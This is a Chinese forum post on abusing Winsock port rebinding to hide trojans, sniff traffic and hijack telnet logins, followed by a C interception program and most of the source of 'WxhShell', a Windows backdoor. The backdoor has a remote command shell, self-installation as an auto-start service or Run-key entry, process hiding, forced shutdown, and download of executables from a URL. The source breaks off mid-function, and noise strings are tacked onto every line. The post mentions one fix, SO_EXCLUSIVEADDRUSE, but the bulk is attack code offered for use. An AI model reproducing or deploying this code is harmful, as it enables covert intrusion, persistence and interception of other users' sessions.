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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @$G K<jl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2Jv4l$$;*  
SX;IUvVE5  
  saddr.sin_family = AF_INET; y-k-E/V}  
vb!KuI!:p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }C#d;JC  
k"zHrn"$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ')RK(I  
^KR(p!%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p?nVPTh  
>UH=]$0N  
  这意味着什么?意味着可以进行如下的攻击: 1sA-BQL  
wX;NU4)n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b1!%xdy_T  
H/f= 2b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S/jHyJ,  
oGJI3Oh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6fyW6xv[,  
?GZs5CnS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HjD= .Q  
rE~O}2a#H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g'E^@1{  
r; !us~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5S bSz!s`$  
c2"OpI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Xw)+5+t"{  
s]OXB {M  
  #include C?k4<B7V  
  #include m^KkS   
  #include gO36tc:ce  
  #include    7\lc aC@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :;QLoZh^  
  int main() [MG:Ym).2`  
  { m`aUz}Y>c  
  WORD wVersionRequested; JG4I-\+H  
  DWORD ret; l[Oxf|  
  WSADATA wsaData; X3vrD{uNU  
  BOOL val; `h#JDcT;a  
  SOCKADDR_IN saddr; L^}kwu#  
  SOCKADDR_IN scaddr; wB{-]\H`\  
  int err; mi?Fy0\  
  SOCKET s; s!Vtw p9  
  SOCKET sc; V,}cDT>  
  int caddsize; uIBV1Qz  
  HANDLE mt; 1'U-n{fD  
  DWORD tid;   :+n7oOV  
  wVersionRequested = MAKEWORD( 2, 2 ); .w&Z=YM  
  err = WSAStartup( wVersionRequested, &wsaData ); ?##GY;#  
  if ( err != 0 ) { ^m\n[<x^  
  printf("error!WSAStartup failed!\n"); -v] 0@jNe  
  return -1; 8~7EWl  
  } 'yqp   
  saddr.sin_family = AF_INET; Lm/^ 8V+  
   ~ nIZ g5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ezeGw?/  
'1aOdEZA*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0vEa]ljS  
  saddr.sin_port = htons(23); WD]dt!V%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #'T@mA  
  { 8dfx _kY`/  
  printf("error!socket failed!\n"); 3:RZ@~u=  
  return -1; 3? "GH1e  
  } oc.x1<Nd  
  val = TRUE; (RF6K6~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z^]nP 87  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qabM@+m[  
  { IiL?@pIq  
  printf("error!setsockopt failed!\n"); <JlKtR&nSo  
  return -1; X |as1Y$O+  
  } BScysoeD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3D3K:K!FK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )xU70:X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G[<iVt$y  
_]NM@'e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %pdfGM 9g  
  { aOOY_S E  
  ret=GetLastError(); rB\UNXy  
  printf("error!bind failed!\n"); ^?,/_3  
  return -1; k5 8lmuU  
  } #~Q0s)Ze  
  listen(s,2); ax$0J|}7  
  while(1) f;*\y!|lg~  
  { /<5/gV 1Q  
  caddsize = sizeof(scaddr); #"jWPe,d  
  //接受连接请求 zR:S.e<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _h#G-  
  if(sc!=INVALID_SOCKET) 'RhMzPmY>  
  { :98Pe6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); > 2$M~to"1  
  if(mt==NULL) Sx}h$E:  
  { `8Gwf;P1  
  printf("Thread Creat Failed!\n"); [Gu]p&  
  break; =i.[|g"  
  } 6sntwT"?  
  } }'3V(;9  
  CloseHandle(mt); WZ ZD  
  } dM)fr  
  closesocket(s); I".r`$XZ  
  WSACleanup(); 6@ + >UZr\  
  return 0; t+pI<c^]y  
  }   IV\@GM:ait  
  DWORD WINAPI ClientThread(LPVOID lpParam) NLj0\Pz|B  
  { I6UZ_H'E  
  SOCKET ss = (SOCKET)lpParam; e3[N#ryt  
  SOCKET sc; 'tOo0Zgc  
  unsigned char buf[4096]; 9yQ[*  
  SOCKADDR_IN saddr; b"J(u|Du`  
  long num; FQ[::*-  
  DWORD val; 0tA+11Iu  
  DWORD ret; B^oXUEOImq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4aGHks8Z,\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    zE{.oi  
  saddr.sin_family = AF_INET; c=7L)w:I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yjr!8L:m  
  saddr.sin_port = htons(23); K[sfsWQ.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y- g5`@  
  { &u8BGMl2  
  printf("error!socket failed!\n"); >:s:`Au  
  return -1; Qf"gH <vT  
  } [!v:fj  
  val = 100; fO9e ;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^ c:(HUo#  
  { Hkpn/,D5  
  ret = GetLastError(); 6$IAm#  
  return -1; q4VOK 'N  
  } QjPcfR\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ' e-FJ')|  
  { QkA79%;j  
  ret = GetLastError(); o zv><e#  
  return -1; Lq yY??\@  
  } XI pXP,Yy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;i1H {hB  
  { :.@gd7T  
  printf("error!socket connect failed!\n"); <^M`U>   
  closesocket(sc); 1Azigd0%  
  closesocket(ss); l( "_JI  
  return -1; R# gip  
  } )wAqaG_d  
  while(1) {>Zc#U'  
  { ]zu" x9-`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z$T1nm%lo:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;]|Z8#s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RTSg=    
  num = recv(ss,buf,4096,0); G<$UcXg  
  if(num>0) JGJQ5zt  
  send(sc,buf,num,0); .HMO7n6)8l  
  else if(num==0) H!,#Z7s  
  break; <V9L AWeS  
  num = recv(sc,buf,4096,0); 9Y~A2C  
  if(num>0) <s  $~h  
  send(ss,buf,num,0); *V>Iv/(  
  else if(num==0) U<*ZY`B3  
  break; ;/$zBr`'  
  } Cdc6<8  
  closesocket(ss); 1}9@aKM  
  closesocket(sc); D guAeK  
  return 0 ; S=2-<R  
  } fk9FR^u  
Hw_(Af?C  
>lRX+?  
========================================================== T0v;8E e  
u3Ua>A-  
下边附上一个代码,,WXhSHELL #R@{Bu=C  
? %F*{3IP  
========================================================== F.K7w  
m@)K]0g<f  
#include "stdafx.h" CpO!xj +  
uEH&]M>d_  
#include <stdio.h> ,qyH B2v  
#include <string.h> dtr8u  
#include <windows.h> MWu67">"  
#include <winsock2.h> m8fxDepFA  
#include <winsvc.h> UV$v:>K#  
#include <urlmon.h> lQY?!oj&q  
5nQ*%u\$Z  
#pragma comment (lib, "Ws2_32.lib") byoDGUv  
#pragma comment (lib, "urlmon.lib") [P407Sa"  
a6fMx~  
#define MAX_USER   100 // 最大客户端连接数 8v_HIx0xu  
#define BUF_SOCK   200 // sock buffer 6;k#|-GU&  
#define KEY_BUFF   255 // 输入 buffer $s$z"<  
hC=9%u{r?  
#define REBOOT     0   // 重启 V07e29w  
#define SHUTDOWN   1   // 关机 #O* ytZ  
pS;jrq I#  
#define DEF_PORT   5000 // 监听端口 Jn-iIl  
ul1#_xp  
#define REG_LEN     16   // 注册表键长度 ng^`s}?o  
#define SVC_LEN     80   // NT服务名长度 Z[s{   
G ,An8GR%&  
// 从dll定义API  k/ls!e?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W/OZ}ky}^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ](vOH#E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1 ^TOTY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ({87311%  
weYP^>gH'  
// wxhshell配置信息 ?>LsIPa  
struct WSCFG { I#tn/\n  
  int ws_port;         // 监听端口 ;"Q{dOvp  
  char ws_passstr[REG_LEN]; // 口令 ;JFy 8Rj  
  int ws_autoins;       // 安装标记, 1=yes 0=no xQ=[0!p+  
  char ws_regname[REG_LEN]; // 注册表键名 ^ 1}_VB)^  
  char ws_svcname[REG_LEN]; // 服务名 q ;1]M[&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y".uu+hL`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :Em[> XA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [RTB|0Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9K-=2hvv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;<O Iu&,*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3~iIo&NZ  
<p;cR` %uE  
}; [/.o>R#J(  
be}^}w=  
// default Wxhshell configuration WgF Xv@Jjt  
struct WSCFG wscfg={DEF_PORT, T1.`*,t)=  
    "xuhuanlingzhe", wz3BtCx  
    1, Ox#%Dm2  
    "Wxhshell", ~m2tWi@  
    "Wxhshell", "9:1>Gr{G  
            "WxhShell Service", F 0 q#.   
    "Wrsky Windows CmdShell Service", E=+v1\t)]  
    "Please Input Your Password: ", a=>PGriL  
  1, ZaBGkDX5  
  "http://www.wrsky.com/wxhshell.exe", 3iMh)YH5b  
  "Wxhshell.exe" sg RY`U.C  
    }; 6&5p3G{%0  
}J$Q  
// 消息定义模块 x'tYf^Va28  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D7T(B=S6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bX23F?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \#Ez["mD  
char *msg_ws_ext="\n\rExit."; t:X\`.W  
char *msg_ws_end="\n\rQuit."; ]{;=<t6  
char *msg_ws_boot="\n\rReboot..."; ?{ns1nW:  
char *msg_ws_poff="\n\rShutdown..."; dOh`F~ Y)e  
char *msg_ws_down="\n\rSave to "; EW7heIT$  
()i8 Qepo}  
char *msg_ws_err="\n\rErr!"; ;"l>HL:^  
char *msg_ws_ok="\n\rOK!"; ,{!~rSq-l  
Z<T%:F  
char ExeFile[MAX_PATH]; Ke@zS9  
int nUser = 0; Ju4={^#  
HANDLE handles[MAX_USER]; Lwm2:_\_b  
int OsIsNt; @=B'<&g$Xv  
)>abB?RZ  
SERVICE_STATUS       serviceStatus; *J&XM[t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LT']3w  
r PWn  
// 函数声明 ^dj avJ  
int Install(void); ?~s,O$o  
int Uninstall(void); xcz[w}{eEq  
int DownloadFile(char *sURL, SOCKET wsh);  *(5y;1KU  
int Boot(int flag); !B_i~Rmg  
void HideProc(void); ~Q}JC3f>  
int GetOsVer(void); rw/WD(  
int Wxhshell(SOCKET wsl); ]c%yib  
void TalkWithClient(void *cs); })f4`$qf  
int CmdShell(SOCKET sock); B/u0^!  
int StartFromService(void); JFf*v6:,  
int StartWxhshell(LPSTR lpCmdLine); r*CI6yP  
AdMA|!|:hc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N'[bA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jp?;8rS3  
`&]<_Jc1  
// 数据结构和表定义 'S]7:/CI  
SERVICE_TABLE_ENTRY DispatchTable[] = oVk*G  
{ '_!j9A]g  
{wscfg.ws_svcname, NTServiceMain}, 7.@$D;L9  
{NULL, NULL} tCH4-~,#  
}; OW!cydA-  
.4DX/~F  
// 自我安装 DdJ>1504  
int Install(void) Wm!lWQu7  
{ ocOzQ13@Y  
  char svExeFile[MAX_PATH]; }+";W)R  
  HKEY key; /cM<  
  strcpy(svExeFile,ExeFile); ~H"Q5Hr   
M5DQ{d<r  
// 如果是win9x系统,修改注册表设为自启动 ?\[2Po]n  
if(!OsIsNt) { O/b~TVA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g$+u;ER5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +iKs)s_~  
  RegCloseKey(key); r#ES|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xDv5'IGBb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x|C[yu^c  
  RegCloseKey(key); baJ(Iy$XT  
  return 0; T;!7GW4E ?  
    } pt[H5  
  } >; a_i>[  
} T 1'8<pJ^  
else { =xz Dpn>f  
z/09~Hc  
// 如果是NT以上系统,安装为系统服务 ]XX9.Xh=-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6~g`B<(?  
if (schSCManager!=0) c|?0iN  
{ v[4A_WjT  
  SC_HANDLE schService = CreateService $ qOV#,@  
  ( |Yq0zc!  
  schSCManager, C/AqAW1  
  wscfg.ws_svcname, uLFnuK  
  wscfg.ws_svcdisp, rz/^_dV  
  SERVICE_ALL_ACCESS, =fk+"!-i%"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %@JNX}Y'  
  SERVICE_AUTO_START, X]up5tk~  
  SERVICE_ERROR_NORMAL, ukM11LD5x  
  svExeFile, 'wh2787  
  NULL, 5m2`$y-nb  
  NULL, f%r0K6p  
  NULL, [>+}2-#  
  NULL, pZ4]K xX@  
  NULL ' *hy!f]  
  ); P=v 0|Y*q|  
  if (schService!=0) L%4[,Rsw  
  { d#~^)r  
  CloseServiceHandle(schService); Oa7x(wS  
  CloseServiceHandle(schSCManager); =~;SUO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R1.No_`PHq  
  strcat(svExeFile,wscfg.ws_svcname); 8z,i/:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :5 XNV6^|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'nH/Z 84  
  RegCloseKey(key); (Uk1Rt*h  
  return 0; 1e=<df  
    } xDtq@Rb}  
  } =apcMW(zn  
  CloseServiceHandle(schSCManager); |.kYomJ   
} Hj&mwn]  
} +%yVW f  
!YUMAp/  
return 1; *5KV DOd  
} }*vUOQQp*  
00s&<EM  
// 自我卸载 )na 8a!  
int Uninstall(void) 8&?kr/_Vr  
{ Vq[L4  
  HKEY key; ~3p :jEM.[  
r8PXdNg  
if(!OsIsNt) { `<R;^qCt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p4} ,xQzB  
  RegDeleteValue(key,wscfg.ws_regname); %C&HR2  
  RegCloseKey(key); `LD#fg*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ];@"-H  
  RegDeleteValue(key,wscfg.ws_regname); |a!AgvNF  
  RegCloseKey(key); ~`J/618  
  return 0; SCbN(OBN!  
  } z=ItKoM*<  
} MF+J3)  
} ~lB im$o  
else { j9)WInYc:  
9Z! j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a%3V< "f  
if (schSCManager!=0) H8^U!"~E  
{ IYtM'!u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4=]CAO=O  
  if (schService!=0) ^A9D;e6!-  
  { K.A!?U=  
  if(DeleteService(schService)!=0) { %EC{O@EAk  
  CloseServiceHandle(schService); R <kh3T  
  CloseServiceHandle(schSCManager); z'cK,psq(  
  return 0; I'"b3]DXG  
  } }jj@A !N  
  CloseServiceHandle(schService); S@Rw+#QE  
  } -w8c;5X  
  CloseServiceHandle(schSCManager); \5g7_3,3W  
} %;5AF8#c  
} OyTEd5\3  
lZyxJDZ A  
return 1; *.g0;\HF  
} UclQo~ 3  
A0L&p(i  
// 从指定url下载文件 c;M7[y&  
int DownloadFile(char *sURL, SOCKET wsh) uXxc2}  
{ ^G5BD_  
  HRESULT hr; }lN@J,q  
char seps[]= "/"; 5k&tRg  
char *token; +APf[ZpU  
char *file; I]S8:w![  
char myURL[MAX_PATH]; [3Qu @;"&  
char myFILE[MAX_PATH]; mDn*v( f  
R-v99e iN  
strcpy(myURL,sURL); ^:JZ.r  
  token=strtok(myURL,seps); F"7dN*7  
  while(token!=NULL) $s]c'D)  
  { 3Q-i%7l  
    file=token; oBVYgv)  
  token=strtok(NULL,seps); aBV{Xr~#(  
  } %m\dNUz4g  
,^dyS]!d$  
GetCurrentDirectory(MAX_PATH,myFILE); _J<^'w^;%  
strcat(myFILE, "\\"); P%Fkd3e+  
strcat(myFILE, file); yn;h.m[):  
  send(wsh,myFILE,strlen(myFILE),0); V?{[IMRC  
send(wsh,"...",3,0); -49z.(@ki  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d1=kHU4_9  
  if(hr==S_OK) !1MSuvWP  
return 0; MGUzvSf  
else 7 S^iGe  
return 1; ?sb Ob  
,TuDG*YA  
} nF0V`O \T  
b >R/=tx  
// 系统电源模块 c*+yJNm3>  
int Boot(int flag) Q}G'=Q]Juz  
{ aL63=y  
  HANDLE hToken; MMs#Y1dH  
  TOKEN_PRIVILEGES tkp; 3q*y~5&I  
@=KuoIV  
  if(OsIsNt) { +8+@Az[e0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2FHWOy /N@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8= jl]q$<  
    tkp.PrivilegeCount = 1; e=b>:n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qMD!No  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MPt:bf#  
if(flag==REBOOT) { _sU|<1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l V[d`%(  
  return 0; {3RY4HVT?  
} `N 0Mm7  
else { 'n> ,+,&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !f~ =p  
  return 0; ]fH U/%  
} "*o54z5"  
  } y( M-   
  else { _I;+p eq  
if(flag==REBOOT) { dQfVdqg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #bX~.jKW  
  return 0; TV$Pl[m   
} (<?6X9F:N  
else { V=";vRS8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?2ZggV  
  return 0; b-}nv`9C  
} >h3r\r\n3  
} +dWx?$n  
2#z6=M~A  
return 1; Y 9rW_m@B  
} lWj|7  
K9v@L6pY=  
// win9x进程隐藏模块 hX#s3)87  
void HideProc(void) J)O1)fR  
{ g?V>+oMx  
nBs%k!RR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qx0RCP /s  
  if ( hKernel != NULL ) vywd&7gK  
  { Do@:|n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  SJY<#_b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R["2kEF  
    FreeLibrary(hKernel); 5m,{?M`  
  } )zK`*Fa az  
neW_mu;~Z  
return; 8y;W+I(71  
} <1tFwC|4BJ  
*hI  
// 获取操作系统版本 A|sTnhp~  
int GetOsVer(void) i_OoR"J%  
{ fm2,Mx6  
  OSVERSIONINFO winfo; 5>.)7D%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [uxhdR`T  
  GetVersionEx(&winfo); wT?.Mte  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FY%v \`@1*  
  return 1; uPk`9c52%  
  else +5pK[%k  
  return 0; TK.a6HJG  
} (fON\)l  
[;M31b3  
// 客户端句柄模块 [u[`!L=  
int Wxhshell(SOCKET wsl) f$a%&X6"-  
{ k)D:lpxv  
  SOCKET wsh; uLV@D r   
  struct sockaddr_in client; ~@ZdO+n?  
  DWORD myID; 'Z LGt#  
uG1 1~uAt  
  while(nUser<MAX_USER) +pU\;x  
{ =PXQ X(_  
  int nSize=sizeof(client); n`";ctQT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fsa  
  if(wsh==INVALID_SOCKET) return 1; D8P<mIu}Y  
`_Bvae j?,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t59" [kQ  
if(handles[nUser]==0) KE\p|Xi  
  closesocket(wsh); t ZUZNKODW  
else B<c7&!B  
  nUser++; 2 g"_ *[  
  } 910Ym!\{:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -|^}~yOx0=  
b#0y-bR  
  return 0; j`I[M6Qxh  
} LjUBV_J  
5Cxh >,k  
// 关闭 socket "Y@rNmBj  
void CloseIt(SOCKET wsh) &Im{p7gf!b  
{ ")|3ZB7>*  
closesocket(wsh); WrhC q6  
nUser--; +}c '4hRv  
ExitThread(0); 4,L(  
} IVD1 mk  
Q!/<=95E  
// 客户端请求句柄 5T,Doxo  
void TalkWithClient(void *cs) gwk$|aT@  
{ ia15r\4j)  
}B2H)dG^K  
  SOCKET wsh=(SOCKET)cs; )@.bkzW  
  char pwd[SVC_LEN]; Tyu]14L  
  char cmd[KEY_BUFF]; 7kU:91zR  
char chr[1]; Ko6 tp9G  
int i,j; Z qX  U  
fq/F| c  
  while (nUser < MAX_USER) { Bb[%?~ E!  
\&\_[y8U  
if(wscfg.ws_passstr) { BQVpp,]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mw!?2G[|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ P\3XSR  
  //ZeroMemory(pwd,KEY_BUFF); Eq zS={Olj  
      i=0; J{' u  
  while(i<SVC_LEN) { $2E n^  
md7Aqh  
  // 设置超时 V-a/%_D  
  fd_set FdRead; V%k[S|f3  
  struct timeval TimeOut; Q:Q) -|,  
  FD_ZERO(&FdRead); C 5QPt  
  FD_SET(wsh,&FdRead); ay6G1\0W  
  TimeOut.tv_sec=8; N#{d_v^H?d  
  TimeOut.tv_usec=0; LXj2gsURu%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y XZZ)i_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DZ~w8v7V  
BMU}NZA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <{m!.9g9  
  pwd=chr[0]; 4s/4z@3a  
  if(chr[0]==0xd || chr[0]==0xa) { ^ ab%Mbb  
  pwd=0; X0 &1ICZ  
  break; u2K{3+r`'  
  } ";B.^pBv@;  
  i++; 6N(Wv0b $  
    } ]g-(|X~>  
#M*h)/d[A  
  // 如果是非法用户,关闭 socket f XxdOn.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sKIWr{D  
} j>~^jz:  
uy\< t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T/G1v;]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mj |)KDL  
B&A4-w v  
while(1) { [dFxW6n  
XOzPi*V**  
  ZeroMemory(cmd,KEY_BUFF); Wq 7 c/ |  
 g#~jF  
      // 自动支持客户端 telnet标准   +]H9:ARI  
  j=0; +U&aK dQs  
  while(j<KEY_BUFF) {  X>OO4SV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Acr\2!))  
  cmd[j]=chr[0]; | Q:$G!/  
  if(chr[0]==0xa || chr[0]==0xd) { qgrRH'  
  cmd[j]=0; `Bx3grZ 7&  
  break; QQP bKok>  
  } i;xH  
  j++; BZEY^G  
    } B, nCx=\S  
gT-'#K2qT  
  // 下载文件 bs U$mtW  
  if(strstr(cmd,"http://")) { 1C+Y|p?KA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |J2_2a/"  
  if(DownloadFile(cmd,wsh)) a*hOT_;#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h8 >7si  
  else u7G@VZ Ux5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  'vj45b  
  } L?&+*|VxI  
  else { .Tt \U  
kH d_q.  
    switch(cmd[0]) { O_0|Q@  
  :bwdEni1P  
  // 帮助 {g\Yy(r  
  case '?': { Yo @>O98  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1B= vrGq  
    break; Da1BxbDeI  
  } gbwKT`N*  
  // 安装 DbJ:KQ!*  
  case 'i': { .g DWv  
    if(Install()) 4][m!dsU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t5N@ z  
    else @i&LKr8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B1c`(mHl  
    break; 62rTGbDbx  
    } 0!veLXeK!  
  // 卸载 zkn K2e,$  
  case 'r': { !uLAW_~  
    if(Uninstall()) @Ek''a$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m9ts&b+TE  
    else F6h3M~uR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *c7kB}/  
    break; %]nY v#K  
    } D|Wekhm  
  // 显示 wxhshell 所在路径 ]B=B@UO@.  
  case 'p': { <(`dU&&%"}  
    char svExeFile[MAX_PATH];  Fwyv>U  
    strcpy(svExeFile,"\n\r"); ^Tc&?\3  
      strcat(svExeFile,ExeFile); 6kGIO$xJ)  
        send(wsh,svExeFile,strlen(svExeFile),0); 5+rYk|*D+k  
    break; 5tHv'@  
    } 'IBs/9=ZC  
  // 重启 Dk|S`3  
  case 'b': { (~xFd^W9o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &>0=v  
    if(Boot(REBOOT)) 5^cPG" 4@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !I]fNTv<  
    else { W=}l=o!G.  
    closesocket(wsh); p.TR1BHw  
    ExitThread(0); \$ ^z.  
    } xr?=gY3E;  
    break; 5 g99t$p9  
